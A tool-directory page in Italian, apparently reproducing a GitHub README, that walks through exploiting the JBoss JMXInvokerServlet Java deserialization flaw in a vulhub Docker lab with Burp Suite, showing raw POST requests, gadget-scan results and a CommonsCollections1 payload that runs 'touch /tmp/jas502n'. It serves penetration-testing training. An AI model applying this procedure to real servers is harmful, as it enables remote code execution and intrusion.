Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Jboss_JMXInvokerServlet_Deserialization_RCE — Jboss_JMXInvokerServlet_Deserialization_RCE | Kitploit
Strumenti/GitHubGitHub/jas502n/jboss_jmxinvokerservlet_deserialization_rce
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubjas502n/jboss_jmxinvokerservlet_deserialization_rce

Jboss_JMXInvokerServlet_Deserialization_RCE

Jboss_JMXInvokerServlet_Deserialization_RCE

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
21106 anni faRevisionato da Kitploit

Jboss_JMXInvokerServlet_Deserialization_RCE

Sfruttare la vulnerabilità di deserializzazione Java con Burp Suite

0x01 Configurare la vulnerabilità di deserializzazione Jboss JMXInvokerServlet

Ambiente di test: vulnerabilità di deserializzazione JBoss JMXInvokerServlet

Principio della vulnerabilità: JBoss legge l'oggetto passato dall'utente nella richiesta /invoker/JMXInvokerServlet, quindi utilizziamo il Gadget di Apache Commons Collections per eseguire codice arbitrario.

root@kitploit:~
root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker-compose up -d
jmxinvokerservlet-deserialization_jboss_1 is up-to-date

root@kali:~# docker ps -a
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                                      
65b3707b9419        vulhub/jboss:as-6.1.0      "/run.sh"                4 hours ago         Up 4 hours          0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->999

0x02 Accedere a /invoker/JMXInvokerServlet, inviare il pacchetto POST a Deserialization Scanner - Manual testing

Cronologia di BurpSuite: se il percorso /invoker/JMXInvokerServlet esiste, la pagina restituisce il codice di stato 200

root@kitploit:~
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

aaaa

La risposta restituisce Java serialization data, version 5 L'intestazione del file inizia con aced0005737200246f72672e6a626f73

Inviare il traffico POST di /invoker/JMXInvokerServlet al plugin DS Fare clic con il tasto destro, quindi fare clic su Send request to DS-Manual testing

Impostare il punto di serializzazione

Selezionare la posizione in cui è presente la serializzazione: poiché JBoss legge l'oggetto serializzato passato dall'utente nella richiesta /invoker/JMXInvokerServlet, impostare aaaa come punto di serializzazione, selezionare tutti i caratteri di aaaa Quindi fare clic su Set Insertion Point A questo punto i dati POST diventano $aaaa$

root@kitploit:~
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 10.10.20.166:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Cookie: JSESSIONID=8B6B65418F89E8857F4302AB85085A36
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1

§aaaa§

Scansionare se $aaaa$ presenta una vulnerabilità di deserializzazione

Fare clic su Attack

Nota

root@kitploit:~
SCANNING IN PROGRESS  //scansione in corso
Scanning can go on approximately from 1 second up to 3 minutes, based on the number of vulnerable libraries founded
//in base al numero di librerie vulnerabili trovate, la scansione può durare da circa 1 secondo fino a 3 minuti

Attendere

root@kitploit:~
Results:

Apache Commons Collections 3 (Sleep): Potentially VULNERABLE!!!
Spring Alternate Payload (Sleep): NOT vulnerable.
Apache Commons Collections 4 (Sleep): NOT vulnerable.
JSON (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload 2 (Sleep): NOT vulnerable.
ROME (Sleep): NOT vulnerable.
Apache Commons Collections 4 Alternate payload (Sleep): NOT vulnerable.
Java 8 (up to Jdk8u20) (Sleep): NOT vulnerable.
Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potentially VULNERABLE!!!
Hibernate 5 (Sleep): NOT vulnerable.
Commons BeanUtils (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload 3 (Sleep): Potentially VULNERABLE!!!
Spring (Sleep): NOT vulnerable.
Apache Commons Collections 3 Alternate payload (Sleep): Potentially VULNERABLE!!!
END

IMPORTANT NOTE: High delayed networks may produce false positives!

Metodi di sfruttamento potenzialmente pericolosi

root@kitploit:~
Apache Commons Collections 3 (Sleep): Potentially VULNERABLE!!!   //potenzialmente pericoloso!
Java 6 and Java 7 (up to Jdk7u21) (Sleep): Potentially VULNERABLE!!! //potenzialmente pericoloso!
Apache Commons Collections 3 Alternate payload 3 (Sleep): Potentially VULNERABLE!!! //potenzialmente pericoloso!
Apache Commons Collections 3 Alternate payload (Sleep): Potentially VULNERABLE!!!  //potenzialmente pericoloso!

Fare clic con il tasto destro e inviare a Send to Exploitation tab

Predefinito CommonsCollections1 COMMAND Modificare in CommonsCollections1 "touch /tmp/jas502n"

Fare clic su Attack

Entrare nel server docker e verificare se il file /tmp/jas502n è stato creato

root@kitploit:~
root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker ps -a
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                                            NAMES
65b3707b9419        vulhub/jboss:as-6.1.0      "/run.sh"                5 hours ago         Up 5 hours          0.0.0.0:8080->8080/tcp, 0.0.0.0:9990->9990/tcp   jmxinvokerservlet-deserialization_jboss_1

root@kali:~/vulhub/jboss/JMXInvokerServlet-deserialization# docker exec -it 65b3707b9419 /bin/bash
[root@65b3707b9419 /]# cd /tmp
[root@65b3707b9419 tmp]# ls
hsperfdata_root  jas502n
[root@65b3707b9419 tmp]# rm jas502n 
rm: remove regular empty file 'jas502n'? y
[root@65b3707b9419 tmp]# 
[root@65b3707b9419 tmp]# ls
hsperfdata_root
[root@65b3707b9419 tmp]# ls
hsperfdata_root  jas502n
[root@65b3707b9419 tmp]# 

Link di riferimento:

https://github.com/vulhub/vulhub/blob/master/jboss/JMXInvokerServlet-deserialization/README.md

https://youtu.be/F3bPD_uGXKc

Scarica lo strumento